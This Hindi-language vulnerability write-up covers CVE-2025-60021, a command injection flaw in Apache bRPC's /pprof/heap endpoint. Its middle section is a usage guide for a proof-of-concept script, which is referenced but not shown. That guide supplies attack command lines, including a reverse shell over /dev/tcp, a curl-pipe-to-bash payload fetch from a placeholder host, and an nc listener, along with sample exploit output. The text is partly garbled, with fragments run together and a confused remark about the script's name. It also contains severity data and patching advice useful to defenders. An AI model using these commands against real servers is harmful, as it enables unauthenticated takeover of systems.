
CVE-2025-60021

CVE-2025-60021 Apache bRPC के 1.15.0 से पहले के संस्करणों में हीप प्रोफाइलर बिल्ट-इन सेवा (/pprof/heap) में पाई जाने वाली एक गंभीर रिमोट कमांड इंजेक्शन भेद्यता है, जो बिना प्रमाणीकरण वाले हमलावरों को मनमाने OS कमांड चलाने की अनुमति देती है। (NVD)
| विशेषता | जानकारी |
|---|---|
| नाम / आईडी | CVE-2025-60021 |
| उत्पाद | Apache bRPC (सभी प्लेटफ़ॉर्म) |
| प्रभावित संस्करण | < 1.15.0 |
| प्रकाशन तिथि | 16 Jan 2026 (NVD) |
| भेद्यता प्रकार | रिमोट कमांड इंजेक्शन (CWE-77) (NVD) |
| एंडपॉइंट | /pprof/heap |
| ट्रिगर | अस्वच्छित extra_options पैरामीटर |
| मूल कारण | OS कमांड के रूप में निष्पादित करने से पहले इनपुट मान्य नहीं किया जाता (openwall.com) |
❗हमलावर केवल इस प्रोफाइलिंग पैरामीटर में हेरफेर करके दूरस्थ रूप से कमांड इंजेक्ट कर सकते हैं।
🔥 गंभीरता रेटिंग: क्रिटिकल
📊 CVSS v3.1 बेस स्कोर: 9.8 / 10
वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (INCIBE)
👉 इसका मतलब है कि हमलावर बिना लॉगिन के दूरस्थ रूप से मनमाने कमांड निष्पादित कर सकते हैं — उजागर सेवाओं के लिए सबसे खराब स्थिति।
/pprof/heap) उजागर करता है। (openwall.com)extra_options पैरामीटर स्वीकार करता है। इसे सैनिटाइज़ करने के बजाय, bRPC इसे सीधे OS शेल को पास करता है। (openwall.com)यह मानता है कि आपके पास स्क्रिप्ट CVE-2025-60021.py के रूप में सहेजी गई है (भले ही असली CVE 2025-60021 है—आप इसे नाम बदलने के लिए स्वतंत्र हैं)। यह Apache bRPC के हीप प्रोफाइलर में रिमोट कमांड इंजेक्शन भेद्यता प्रदर्शित करने के लिए एक Python 3 स्क्रिप्ट है। इसे केवल उन्हीं सिस्टम पर चलाएँ जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है—अनधिकृत शोषण अवैध है।
Python वातावरण: सुनिश्चित करें कि आपके पास Python 3 स्थापित है (जैसे, 3.6+)। स्क्रिप्ट बिल्ट-इन मॉड्यूल के साथ-साथ requests और argparse का उपयोग करती है (जो मानक हैं या स्थापित करने में आसान हैं)।
निर्भरताएँ स्थापित करें: यदि पहले से मौजूद नहीं हैं, तो requests लाइब्रेरी स्थापित करें:
pip install requests
लक्ष्य सेटअप: आपको एक भेद्य Apache bRPC सर्वर की आवश्यकता है:
http://localhost:8060 या एक रिमोट IP/पोर्ट)।
स्थानीय रूप से परीक्षण करते समय, एक भेद्य bRPC इंस्टेंस सेट करें (जैसे, Docker या सोर्स बिल्ड के माध्यम से—Apache bRPC दस्तावेज़ देखें)।अनुमतियाँ: केवल नेटवर्क एक्सेस या विशेषाधिकारों के लिए आवश्यक होने पर sudo के साथ चलाएँ; अन्यथा, सादा python3 पर्याप्त है।
मैंने पहले जो PoC कोड दिया था उसे CVE-2025-60021.py नामक फ़ाइल में कॉपी करें। चाहें तो इसे निष्पादन योग्य बनाएँ:
chmod +x CVE-2025-60021.py
स्क्रिप्ट दो आवश्यक स्थितीय तर्क लेती है:
target: भेद्य bRPC सर्वर का URL (जैसे, http://192.168.1.100:8060 या http://targets:8060—स्कीम गायब या अमान्य होस्ट जैसी टाइपो त्रुटियाँ ठीक करें)।cmd: लक्ष्य पर निष्पादित करने के लिए कमांड (जैसे, उपयोगकर्ता जानकारी के लिए "id", या रिवर्स शेल के लिए "curl http://your-server/reverse-shell.sh | bash" जैसी अधिक जटिल चीज़)। कई कमांड जोड़ने के लिए && या ; का उपयोग करें।एक टर्मिनल खोलें (जैसे, Kali Linux में जैसा आप उपयोग कर रहे हैं) और इसे अपने लक्ष्य और कमांड के साथ निष्पादित करें। उदाहरण कमांड:
बुनियादी परीक्षण (सिस्टम जानकारी प्राप्त करें):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
रिवर्स शेल उदाहरण (your-listener-ip और पोर्ट बदलें; पहले nc -lvnp 4444 जैसा लिसनर सेट करें):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
यदि HTTPS या भिन्न पोर्ट का उपयोग कर रहे हैं, तो URL को तदनुसार समायोजित करें (जैसे, https://target:443—स्क्रिप्ट इसे संभालती है, लेकिन सर्टिफिकेट समस्या होने पर --insecure जोड़ें)।
सफलता संकेतक:
id चलाया तो uid=0(root)...)।विफलता संकेतक (जैसा आपने देखा):
--enable_heap_profiler=true) और सर्वर को पुनः प्रारंभ करें।cmd तर्क भूल गए—इसे हमेशा शामिल करें।echo "test" > /tmp/proof.txt) और लक्ष्य पर फ़ाइल की जाँच करें।; काम नहीं करता, तो जोड़ने के लिए && या | आज़माएँ। आवश्यकता होने पर विशेष वर्णों को URL-एन्कोड करें (स्क्रिप्ट अधिकांश को संभालती है)।/pprof/heap अक्षम करें।यदि शोषण किसी भेद्य लक्ष्य पर सफल रहा (जैसे, हीप प्रोफाइलर सक्षम, अनपैच किया हुआ bRPC <1.15.0), तो आपके टर्मिनल में आउटपुट कुछ इस प्रकार दिखेगा (सटीक विवरण कमांड के stdout और सर्वर कॉन्फ़िग पर निर्भर करता है):
[*] Sending payload to: http://targets:8060/pprof/heap?extra_options=%3B+id+%26%26+whoami+%26%26+uname+-a+%23
[*] Executing command: id && whoami && uname -a
[+] Exploit likely succeeded! (200 OK)
[+] Check your listener / server logs for output
Response body (possible command output):
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user
Linux target-host 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-29) x86_64 GNU/Linux
[followed by heap profile data or binary-ish output from jemalloc, like memory stats or a dump]
मुख्य संकेत: 200 OK स्थिति, और यदि आपका कमांड (id && whoami && uname -a जैसा) आउटपुट उत्पन्न करता है, तो वह प्रतिक्रिया निकाय में दिखाई दे सकता है (प्रोफाइलर डेटा के साथ मिश्रित)। मूक कमांड (जैसे, रिवर्स शेल) के लिए, गतिविधि के लिए लक्ष्य सर्वर या अपने लिसनर की जाँच करें—200 के अलावा कोई सीधी टर्मिनल पुष्टि नहीं होती। 😈
/pprof/heap तक पहुँच अवरुद्ध करें।✔ हमलावरों को क्रेडेंशियल की आवश्यकता नहीं होती। ✔ यह नेटवर्क पर काम करता है। ✔ यह भेद्य bRPC का उपयोग करने वाले सभी प्लेटफ़ॉर्म को प्रभावित करता है। ✔ यह पूर्ण सिस्टम समझौते का कारण बन सकता है।
महत्वपूर्ण सेवाओं (जैसे, खोज, स्टोरेज, मशीन लर्निंग पाइपलाइन) के लिए bRPC का उपयोग करने वाले व्यवसाय विशेष रूप से जोखिम में हैं क्योंकि यह दोष एक डायग्नोस्टिक टूल को हमले के वेक्टर में बदल देता है। (Daily CyberSecurity)
⚠ EPSS (शोषण पूर्वानुमान): कुछ फ़ीड अब तक कम शोषण अवलोकन का संकेत देते हैं, लेकिन शोषण में आसानी का मतलब है कि इसे वास्तविक हमलों में तेज़ी से इस्तेमाल किया जा सकता है। (Tenable®)
📌 वर्गीकरण: CWE-77 — कमांड में विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन (कमांड इंजेक्शन)। (NVD)
यदि आप प्रोडक्शन में Apache bRPC चला रहे हैं — तुरंत पैच करें और जोखिम कम करने के लिए डायग्नोस्टिक एंडपॉइंट्स तक पहुँच प्रतिबंधित करें।
| प्रभाव श्रेणी | प्रभाव |
|---|
| गोपनीयता | उच्च | |
| अखंडता | उच्च | |
| उपलब्धता | उच्च | |
| हमला वेक्टर | नेटवर्क | |
| विशेषाधिकार | कोई आवश्यक नहीं | |
| उपयोगकर्ता सहभागिता | कोई आवश्यक नहीं | (INCIBE) |